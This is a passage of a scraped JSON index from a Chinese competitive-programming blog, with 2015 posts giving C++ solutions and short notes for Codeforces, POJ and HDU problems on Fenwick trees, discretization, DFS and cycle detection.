111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月06日 星期四 00时23分26秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=1E2+5;moni 32int n; 33int r[N]; 34bool vis[1000060]; 35char ch[N]; 36int main() 37{ 38 cin\u003e\u003en; 39 char cmd; 40 int mx = -1; 41 int cur = 0; 42 int beforein = 0; 43 memset(vis,false,sizeof(vis)); 44 for ( int i = 0 ; i \u003c n ; i++) 45 { 46 47 cin\u003e\u003ech[i]\u003e\u003er[i]; 48 if (ch[i]=='+') 49 { 50 vis[r[i]] = true; 51 } 52 if (ch[i]=='-') 53 { 54 if (!vis[r[i]]) 55 { 56 beforein++; 57 } 58 vis[r[i]] = false; 59 } 60 } 61 mx = beforein; 62 memset(vis,false,sizeof(vis)); 63 // cout\u003c\u003c\"beforein:\"\u003c\u003cbeforein\u003c\u003cendl; 64 for ( int i = 0 ; i \u003cn ; i++ ) 65 { 66 if (ch[i]=='+') 67 { 68 cur++; 69 vis [r[i]] =true; 70 } 71 else 72 { 73 if (vis[r[i]]) 74 { 75// if (vis[1]) cout\u003c\u003c\"fuffffffffff\"\u003c\u003cendl; 76 cur--; 77// cout\u003c\u003c\"r[i]:\"\u003c\u003cr[i]\u003c\u003cendl; 78 vis[r[i]] = false; 79 } 80 else 81 { 82 beforein--; 83 } 84 } 85// cout\u003c","date":"2015-08-05","externalUrl":null,"permalink":"/2015/08/cf314b-berlandnationallibrary/","section":"Posts","summary":"给出一个图书馆人员进出情况，问图书馆满足题意的最小容量是多少。","tags":["模拟"],"title":"cf #314  B. Berland National Library (模拟)","type":"post"},{"categories":["ACM"],"content":"给一个有序序列，问对于没一个数，和它相差最少和最多的数的位置。 1/************************************************************************* 2 \u003e File Name: code/cf/#314/A.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月06日 星期四 00时01分51秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=2E5+7; 32LL a[N]; 33int main() 34{ 35 int n; 36 cin\u003e\u003en; 37 a[0]=-inf; 38 a[n+1]=inf; 39 40 for ( int i = 1 ; i \u003c= n ; i ++ ) 41 { 42 cin\u003e\u003ea[i]; 43 } 44 int mx = -1; 45 int mi = inf; 46 cout\u003c\u003ca[2]-a[1]\u003c\u003c\" \"\u003c\u003ca[n]-a[1]\u003c\u003cendl; 47 for ( int i = 2 ; i \u003c= n-1 ; i++ ) 48 { 49 cout\u003c\u003cmin(abs(a[i]-a[i-1]),abs(a[i+1]-a[i]))\u003c\u003c\" \"\u003c\u003cmax(abs(a[i]-a[1]),abs(a[n]-a[i]))\u003c\u003cendl; 50 } 51 cout\u003c\u003ca[n]-a[n-1]\u003c\u003c\" \"\u003c\u003ca[n]-a[1]\u003c\u003cendl; 52 return 0; 53}","date":"2015-08-05","externalUrl":null,"permalink":"/2015/08/cf314a/","section":"Posts","summary":"给一个有序序列，问对于没一个数，和它相差最少和最多的数的位置。","tags":["brute force"],"title":"codeforces #314 A. Lineland Mail","type":"post"},{"categories":["ACM"],"content":"dfs 1A 1/************************************************************************* 2 \u003e File Name: code/whust/#9/K.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月05日 星期三 15时02分30秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31int n ,m,ans; 32int d[50]; 33int on[50],off[50]; 34int u[50],v[50]; 35 36bool ok(int x,int y) 37{ 38 if ( !d[x] \u0026\u0026 !d[y] \u0026\u0026 on[x] == off[x] \u0026\u0026 on[y] == off[y] ) 39 return true; 40 if ( !d[x] \u0026\u0026 d[y] \u0026\u0026 on[x] == off[x] ) 41 return true; 42 if ( d[x] \u0026\u0026 !d[y] \u0026\u0026 on[y] == off[y] ) 43 return true; 44 if ( d[x] \u0026\u0026 d[y] ) 45 return true; 46 return false; 47} 48 49void dfs ( int i) 50{ 51 if (i==m) 52 { 53 ans++; 54 return; 55 } 56 int x = u[i]; 57 int y = v[i]; 58 d[x]--; 59 d[y]--; 60 on[x]++; 61 on[y]++; 62 if (ok(x,y)) 63 dfs (i+1); 64 on[x]--;on[y]--; 65 off[y]++;off[x]++; 66 if ( ok( x,y)) 67 dfs (i+1); 68 off[y]--; 69 off[x]--; 70 d[x]++; 71 d[y]++; 72} 73 74int main ( ) 75{ 76 int T; 77 cin\u003e\u003eT; 78 while ( T-- ) 79 { 80 ans = 0; 81 scanf (\"%d %d\",\u0026n,\u0026m); 82 memset (d,0,sizeof(d)); 83 memset (on,0,sizeof(on)); 84 memset (off,0,sizeof(off)); 85 for ( int i = 0 ; i \u003c m ; i++ ) 86 { 87 scanf (\"%d%d\",\u0026u[i],\u0026v[i]); 88 d[u[i]]++; 89 d[v[i]]++; 90 } 91 dfs (0); 92 printf ( \"%d\\n\"","date":"2015-08-05","externalUrl":null,"permalink":"/2015/08/hdu5305/","section":"Posts","summary":"dfs 1A 1/************************************************************************* 2 \u003e File Name: code/whust/#9/K.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月05日 星期三 15时02分30秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31int n ,m,ans; 32int d[50]; 33int on[50],off[50]; 34int u[50],v[50]; 35 36bool ok(int x,int y) 37{ 38 if ( !d[x] \u0026\u0026 !d[y] \u0026\u0026 on[x] == off[x] \u0026\u0026 on[y] == off[y] ) 39 return true; 40 if ( !d[x] \u0026\u0026 d[y] \u0026\u0026 on[x] == off[x] ) 41 return true; 42 if ( d[x] \u0026\u0026 !d[y] \u0026\u0026 on[y] == off[y] ) 43 return true; 44 if ( d[x] \u0026\u0026 d[y] ) 45 return true; 46 return false; 47} 48 49void dfs ( int i) 50{ 51 if (i==m) 52 { 53 ans++; 54 return; 55 } 56 int x = u[i]; 57 int y = v[i]; 58 d[x]--; 59 d[y]--; 60 on[x]++; 61 on[y]++; 62 if (ok(x,y)) 63 dfs (i+1); 64 on[x]--;on[y]--; 65 off[y]++;off[x]++; 66 if ( ok( x,y)) 67 dfs (i+1); 68 off[y]--; 69 off[x]--; 70 d[x]++; 71 d[y]++; 72} 73 74int main ( ) 75{ 76 int T; 77 cin\u003e\u003eT; 78 while ( T-- ) 79 { 80 ans = 0; 81 scanf (\"%d %d\",\u0026n,\u0026m); 82 memset (d,0,sizeof(d)); 83 memset (on,0,sizeof(on)); 84 memset (off,0,sizeof(off)); 85 for ( int i = 0 ; i \u003c m ; i++ ) 86 { 87 scanf (\"%d%d\",\u0026u[i],\u0026v[i]); 88 d[u[i]]++; 89 d[v[i]]++; 90 } 91 dfs (0); 92 printf ( \"%d\\n\" , ans ); 93 } 94}","tags":["dfs"],"title":"hdu 5305 Friends　（dfs）","type":"post"},{"categories":["ACM"],"content":"这道题可以总结的地方不少。 １：对于一组乱序数列，每次只能交换相邻元素，达到有序交换的次数就是原数列中你逆序对的个数。 cf上好像总喜欢出这个题。。。我印象中就出现三次了。。。。。 ２：原始数组a[i]和树状数组的t[i]的对应问题（？？？存在疑问。。。应该只是这道题，而不是一般规律！） 这道题n是５０００００，如果直接开数组是可以开得下的，不需要离散化。**但是树状数组的下标对应的是原始数组的值！**也就是t[i]的下表最大可能为９９９，９９９，９９９　！　显然存不下，需要离散化。 **３：学习了离散化的又一种写法。 ** 1/************************************************************************* 2 \u003e File Name: code/poj/2299.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月04日 星期二 12时27分32秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=5E5+7; 32int n; 33int t[N]; 34int ref[N]; 35 36struct Q 37{ 38 int val,id; 39}q[N]; 40 41 42bool cmp(Q a,Q b) 43{ 44 if (a.val\u003cb.val) return true; 45 return false; 46} 47int lowbit( int x) 48{ 49 return x\u0026(-x); 50} 51void update ( int x,int c) 52{ 53 for ( int i = x ; i \u003c N ; i = i + lowbit(i)) 54 { 55 t[i] = t[i] + c; 56 } 57} 58LL Sum( int x) 59{ 60 LL res = 0; 61 for ( int i = x; i \u003e= 1 ; i = i - lowbit(i)) 62 { 63 res = res + t[i]; 64 } 65 return res; 66} 67int main() 68{ 69 while (~scanf(\"%d\",\u0026n)\u0026\u0026n) 70 { 71 memset(t,0,sizeof(t)); 72 for ( int i = 1 ; i \u003c= n ; i++ ) 73 { 74 scanf(\"%d\",\u0026q[i].val); //离散化的时候相对大小不能打乱 75 q[i].id = i; 76 } 77 sort(q+1,q+n+1,cmp); 78 for ( int i = 1 ; i \u003c= n ; i++ ) 79 { 80 re","date":"2015-08-04","externalUrl":null,"permalink":"/2015/08/poj2299/","section":"Posts","summary":"这道题可以总结的地方不少。 １：对于一组乱序数列，每次只能交换相邻元素，达到有序交换的次数就是原数列中你逆序对的个数。","tags":["树状数组","离散化"],"title":"poj 2299 Ultra-QuickSort  （树状数组＋离散化）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-04","externalUrl":null,"permalink":"/2015/08/poj3067japan/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"poj 3067 Japan（树状数组）","type":"post"},{"categories":["ACM"],"content":"poj 2481 题目链接 题意：给定n个区间，问对于每个区间，有多少个区间真包含该区间（真包含的意思是说，两个区间不能完全重合） 思路： 下面是一年前用树状数组过掉的时候写的题解： 和 star那道题差不多。 需要注意的是star那道题读入的时候已经排好了序，而这道题没有排序 由于答案是按照下表输出，排序的时候下标会被打乱，所以要存一下下表到结构体里。 另一个区别是，star那道题星星不会重复，就是说一个位置不会有多颗星星。 而这道题却可能，而且题目中说，如果区间的长度差为0（就是后面的那个不等式），那么不计数。 因为区间下标可能为0，但是树状数组的下表必须从1开始，所以下表要+1，但是由于下表可能有所重复，所以 不能用++,而是用+1 不然会增加多次（我就是这么w a了两次。。。） 树状数组ac代码： 1/************************************************************************* 2 \u003e File Name: code/poj/2481.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月04日 星期二 02时06分05秒 6 ************************************************************************/ 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#define y0 abc111qqz 20#define y1 hust111qqz 21#define yn hez111qqz 22#define j1 cute111qqz 23#define tm crazy111qqz 24#define lr dying111qqz 25using namespace std; 26#define REP(i, n) for (int i=0;i\u003cint(n);++i) 27typedef long long LL; 28typedef unsigned long long ULL; 29const int inf = 0x7fffffff; 30const int N=1E5+7; 31int n; 32int a[N],t[N]; 33struct Q 34{ 35 int s,e,id; 36}q[N]; 37bool cmp (Q a,Q b) 38{ 39 if (a.e\u003eb.e) return true; 40 if (a.e==b.e\u0026\u0026a.s\u003cb.s) return true; 41 return false; 42} 43int lowbit(int x) 44{ 45 return x\u0026(-x); 46} 47void update ( int x,int c) 48{ 49 for ( int i = x ; i \u003c N ; i = i + lowbit(i)) 50 { 51 t[i] = t[i] + c; 52 } 53} 54int Sum ( int x) 55{ 56 int res = 0; 57 for ( int i = x ; i \u003e= 1 ; i = i - lowbit(i)) 58 { 59 res = res + t[i]; 60 } 61 return res; 62} 63int main() 64{ 65 while (~scanf(\"%d\",\u0026n)\u0026\u0026n) 66 { 67 memset(t,0,sizeof(t)); 68 memset(a,0,sizeof(a)); 69 for ( int i = 0 ; i \u003c n; i ++ ) 70 {","date":"2015-08-03","externalUrl":null,"permalink":"/2015/08/poj2481/","section":"Posts","summary":"poj 2481 题目链接 题意：给定n个区间，问对于每个区间，有多少个区间真包含该区间（真包含的意思是说，两个区间不能完全重合）","tags":["树状数组","线段树"],"title":"poj 2481 Cows(树状数组||线段树)","type":"post"},{"categories":["ACM"],"content":"poj 2352题目链接 题意：给出n个星星的位置，一个星星的level定义为其左下角（不严格）星星的数量。 要求统计0到n-1 level的星星各有多少个。 下面是一年前写的树状数组的题解： 依然想不通，智商是硬伤，绝望的想哭，真的想哭。 更新于2015年08月04日01:47:18： 好像有点明白了…..详情看注释 树状数组ac代码： 1/************************************************************************* 2 \u003e File Name: code/poj/2352.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月04日 星期二 00时33分52秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=4E4+7; 32int a[N]; 33int t[N]; 34int x,y; 35int n; 36int lowbit (int x) 37{ 38 return x\u0026(-x); 39} 40void update(int x,int c) 41{ 42 int i; 43 for ( int i = x ; i \u003c= 32001 ; i = i + lowbit(i)) 44 { 45 t[i] = t[i] + c; 46 } 47} 48int sum( int x) 49{ 50 int i; 51 int res = 0; 52 for ( int i = x ; i \u003e= 1 ; i = i-lowbit(i)) 53 { 54 res = res + t[i]; 55 } 56 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" res:\"\u003c\u003cres\u003c\u003cendl; 57 return res; 58} 59int main() 60{ 61 scanf(\"%d\",\u0026n); 62 for ( int i = 0 ; i \u003c n ; i ++ ) 63 { 64 scanf(\"%d %d\",\u0026x,\u0026y); 65 a[sum(++x)]++; // ++x是因为坐标是从0 开始，而树状数组的下标一定是从1开始，不然会TLE 66 // sum(++x)是求 ++x 的level 67 // 68 // 69 update(x,1); //向上更新，对于每一个比x大的位置，由于x的存在，那些位置的点的level都会增加1 70 //比如对于星3，因为星1的读入，我向上更新了星2,星3,星4,星5，这时候他们的level都是1 71 //之后读入星2，更新了星3和星5，星3的level是2，星5的level也是2，之后由于星4，星5的level又加1，为5. 72 } 73 for ( int i","date":"2015-08-03","externalUrl":null,"permalink":"/2015/08/poj2352/","section":"Posts","summary":"poj 2352题目链接 题意：给出n个星星的位置，一个星星的level定义为其左下角（不严格）星星的数量。","tags":["树状数组","线段树"],"title":"poj 2352 Stars （树状数组||线段树）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-03","externalUrl":null,"permalink":"/2015/08/hdu4349/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 4349","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-02","externalUrl":null,"permalink":"/2015/08/cf309aa-kyoyaandphotobooks/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"cf #309a A - Kyoya and Photobooks","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-01","externalUrl":null,"permalink":"/2015/08/hdu5234bc42chappybirthdaydp/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 5234 (bc #42 C)Happy birthday(dp)","type":"post"},{"categories":["ACM"],"content":"wa了两次，原因是在同一个点可能有多个基地。。。 所以用set 是错误的，应该用multiset 然后因为这道题看到了map+set实现离散化的另外一种写法 我的代码： 1/************************************************************************* 2 \u003e File Name: code/hdoj/4022.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月01日 星期六 04时37分20秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int N=2E5+7; 31const int inf = 0x7fffffff; 32 33map\u003cint,int\u003exmap,ymap; 34multiset\u003cint\u003ex[N]; 35multiset\u003cint\u003ey[N]; 36int main() 37{ 38 int n,m; 39 while (scanf(\"%d %d\",\u0026n,\u0026m)!=EOF) 40 { 41 if (n==0\u0026\u0026m==0) break; 42 for ( int i = 1 ; i \u003c= n ; i++) 43 { 44 x[i].clear(); 45 y[i].clear(); 46 } 47 xmap.clear(); 48 ymap.clear(); 49 int tx,ty; 50 int cntx=0,cnty=0; 51 for ( int i = 1 ; i \u003c= n ; i++ ) 52 { 53 scanf(\"%d %d\",\u0026tx,\u0026ty); 54 if (!xmap[tx]) xmap[tx]=++cntx; 55 if (!ymap[ty]) ymap[ty]=++cnty; 56 x[xmap[tx]].insert(ymap[ty]); 57 y[ymap[ty]].insert(xmap[tx]); 58 } 59 int c,d; 60 set\u003cint\u003e::iterator it; 61 for ( int i = 1; i \u003c= m ; i++ ) 62 { 63 scanf(\"%d %d\",\u0026c,\u0026d); 64 if (c==0) 65 { 66 cout\u003c\u003cx[xmap[d]].size()\u003c\u003cendl; 67 for ( it = x[xmap[d]].begin();it!=x[xmap[d]].end();it++) 68 { 69 y[*it].erase(xmap[d]); 70 } 71 x[xmap[d]].clear(); 72 } 73 else 74 { 75 cout\u003c\u003cy[ymap[d]].size()\u003c\u003cendl; 76 for ( it =y[ymap[d]].begin();it!=y[y","date":"2015-08-01","externalUrl":null,"permalink":"/2015/08/hdu4022/","section":"Posts","summary":"wa了两次，原因是在同一个点可能有多个基地。。。 所以用set 是错误的，应该用multiset","tags":["离散化"],"title":"hdu 4022 Bombing (离散化)","type":"post"},{"categories":["ACM"],"content":"Collision Detection # **Time Limit: 5000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 1207 Accepted Submission(s): 367 ** Problem Description In physical simulations, video games and computational geometry, collision detection involves algorithms for checking for collision, i.e. intersection, of two given objects. Collision detection algorithms are a basic component of 3D video games. Without them, characters could go through walls and other obstacles. Here comes an interesting problem, given a ball and a cuboid, you need to detect whether they collide. We say that two objects collide if and only if they share at least one point. Input The first line of input is the number of test cases. Each test case contains two lines, the first line contains 24 integers X1, Y1, Z1, …, X8, Y8, Z8, representing the 8 vertexes of the cuboid. Vertexes are given in random order and you can make sure that all edges of the cuboid are parallel to coordinate axes; the second line contains 4 integers X,Y,Z,R representing the central point of the ball and its radius. All integers given are non-negative and will be less than 100000. Output For each case output “Yes” Or “No” on a single line. Sample Input 2 0 0 0 0 0 1 0 1 0 1 0 0 1 1 0 1 0 1 0 1 1 1 1 1 2 2 2 2 0 0 0 0 0 1 0 1 0 1 0 0 1 1 0 1 0 1 0 1 1 1 1 1 2 2 2 1 Sample Output Yes No Source 2008 Asia Chengdu Regional Contest Online Recommend lcy | We have carefully selected several similar problems for you: 2437 2429 2433 2435 2428 真是日了狗了。。。 读错题wa到死。。。 英文差的原因？ 我以为长方体是空心的。。 然后球是有可能在内部 我说我怎么写的那么麻烦，又是判断点，又是判断边，又是判断面。。。。 然后全推了重写。。。 又WA到死。。。 最后发现又是强制转化类型的问题。。。 如果变量是int 类型，即使一出赋值给long long ，在赋值之前的计算也会溢出。。。 所以不溢出的办法就是之前的int 就写成 long long 类型的。。。 1/***************************************************************","date":"2015-07-31","externalUrl":null,"permalink":"/2015/07/hdoj2436/","section":"Posts","summary":"Collision Detection # **Time Limit: 5000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 1207 Accepted Submission(s): 367 **","tags":["计算几何"],"title":"hdoj 2436 Collision Detection","type":"post"},{"categories":["ACM"],"content":"Gunner II # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) Total Submission(s): 1433 Accepted Submission(s): 540 ** Problem Description Long long ago, there was a gunner whose name is Jack. He likes to go hunting very much. One day he go to the grove. There are n birds and n trees. The i-th bird stands on the top of the i-th tree. The trees stand in straight line from left to the right. Every tree has its height. Jack stands on the left side of the left most tree. When Jack shots a bullet in height H to the right, the nearest bird which stands in the tree with height H will falls. Jack will shot many times, he wants to know which bird will fall during each shot. Input There are multiple test cases (about 5), every case gives n, m in the first line, n indicates there are n trees and n birds, m means Jack will shot m times. In the second line, there are n numbers h[1],h[2],h[3],…,h[n] which describes the height of the trees. In the third line, there are m numbers q[1],q[2],q[3],…,q[m] which describes the height of the Jack’s shots. Please process to the end of file. [Technical Specification] All input items are integers. 1\u003c=n,m\u003c=100000(10^5) 1\u003c=h[i],q[i]\u003c=1000000000(10^9) Output For each q[i], output an integer in a single line indicates the id of bird Jack shots down. If Jack can’t shot any bird, just output -1. The id starts from 1. Sample Input 5 5 1 2 3 4 1 1 3 1 4 2 Sample Output 1 3 5 4 2 Hint Huge input, fast IO is recommended. Source BestCoder Round #42 因为一共才1E5的数据，而高度有1E9 所以考虑离散化 关于离散化的内容，这篇博客讲得很好。 http://blog.csdn.net/axuan_k/article/details/45954561 我是使用了第三种map+set的方法。。。 离散化大概是因为数据太大下表存不下。。。 然后map的key 值没有范围？所以实现了离散化（是这样嘛？？？） 1/************************************************************************* 2 \u003e File Name: code/bc/#42","date":"2015-07-31","externalUrl":null,"permalink":"/2015/07/hdu5233/","section":"Posts","summary":"Gunner II # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) Total Submission(s): 1433 Accepted Submission(s): 540 **","tags":["离散化"],"title":"hdu 5233  Gunner II (bc #42 B)  （离散化）","type":"post"},{"categories":["ACM"],"content":"pog loves szh II # **Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) Total Submission(s): 2115 Accepted Submission(s): 609 ** Problem Description Pog and Szh are playing games.There is a sequence with n numbers, Pog will choose a number A from the sequence. Szh will choose an another number named B from the rest in the sequence. Then the score will be (A+B) mod p.They hope to get the largest score.And what is the largest score? Input Several groups of data (no more than 5 groups,n≥1000). For each case: The following line contains two integers,n(2≤n≤100000)，p(1≤p≤231−1)。 The following line contains n integers ai(0≤ai≤231−1)。 Output For each case,output an integer means the largest score. Sample Input 4 4 1 2 3 0 4 4 0 0 2 2 Sample Output 3 2 Source BestCoder Round #43 Recommend hujie | We have carefully selected several similar problems for you: 5338 5337 5336 5335 5334 对于读入的a[i] mod p后 对于任意 0= 所以a[i]+a[j]的结果只有两种情况，一种是 =p \u003c=2p-2 a[i]+a[j]-p 是答案 把a[i]升序排列，如果存在a[i]+a[j]\u003e=p ,那么最大的一定是a[n-1]+a[n-2] 对于a[i]+a[j]小于p的，我们枚举i，找到最大的j，使得a[i]+a[j] 如果直接枚举O(N2)会超时 由于a[i]数组已经是有序的了 我们可以利用a[i]的单调性，从两边往中间找。 这样复杂度就是O(N)了 这个优化前几天刚遇到过。。。。 1/************************************************************************* 2 \u003e File Name: code/bc/#43/B.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年07月31日 星期五 16时38分13秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr d","date":"2015-07-31","externalUrl":null,"permalink":"/2015/07/hdu5265/","section":"Posts","summary":"pog loves szh II # **Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) Total Submission(s): 2115 Accepted Submission(s): 609 **","tags":["单调性优化"],"title":"bc #43(hdu 5265) pog loves szh II  （单调性优化）","type":"post"},{"categories":["ACM"],"content":"455. Sequence analysis # 比赛的时候逗了，往看空间限制了…. 直接开了个set判重。。。显然MLE 了。。。 然后这道题的正解是 floyd判圈算法（也叫龟兔算法？） http://www.cnblogs.com/oyking/p/4286916.html 这份题解讲得很详细 1 /************************************************************************* 2 \u003e File Name: code/2015summer/#5/CC.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年07月30日 星期四 21时02分17秒 6 ************************************************************************/ 7 #include\u003ciostream\u003e 8 #include\u003ciomanip\u003e 9 #include\u003ccstdio\u003e 10 #include\u003calgorithm\u003e 11 #include\u003ccmath\u003e 12 #include\u003ccstring\u003e 13 #include\u003cstring\u003e 14 #include\u003cmap\u003e 15 #include\u003cset\u003e 16 #include\u003cqueue\u003e 17 #include\u003cvector\u003e 18 #include\u003cstack\u003e 19 #define y0 abc111qqz 20 #define y1 hust111qqz 21 #define yn hez111qqz 22 #define j1 cute111qqz 23 #define tm crazy111qqz 24 #define lr dying111qqz 25 using namespace std; 26 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 27 typedef long long LL; 28 typedef unsigned long long ULL; 29 const int inf = 0x7fffffff; 30 const int LIM = 2E6; 31 LL a,b,c; 32 LL next (LL x) 33 { 34 return (a*x+x%b)%c; 35 } 36 int main() 37 { 38 cin\u003e\u003ea\u003e\u003eb\u003e\u003ec; 39 LL x = next(1); 40 LL y = next(next(1)); 41 int v = 1; 42 while (v\u003c=LIM \u0026\u0026x!=y) 43 { 44 x = next(x); //乌龟走一步 45 y = next(next(y)); //兔子走两步 46 v++; 47 } 48 if (v\u003eLIM) //在规定范围内找不到循环节（兔子没有和乌龟到同一个位置） 49 { 50 puts(\"-1\"); 51 return 0; 52 } 53 54 x = 1; 55 int mu = 0; //找到循环节的起点 56 while (x!=y) 57 { 58 x = next(x); 59 y = next(y); 60 mu++; 61 } 62 63 int lam = 1; //循环节的长度 64 y = next(x); 65 while (mu+lam \u003c= LIM \u0026\u0026x!=y) 66 { 67 y = next(y); 68 lam++; 69 } 70 if (mu+lam\u003c=LIM) 71 { 72 printf(\"%d\\n\",mu+lam); 73 } 74 else 75 { 76 puts(\"-1\"); 77 } 78 79 return 0; 80 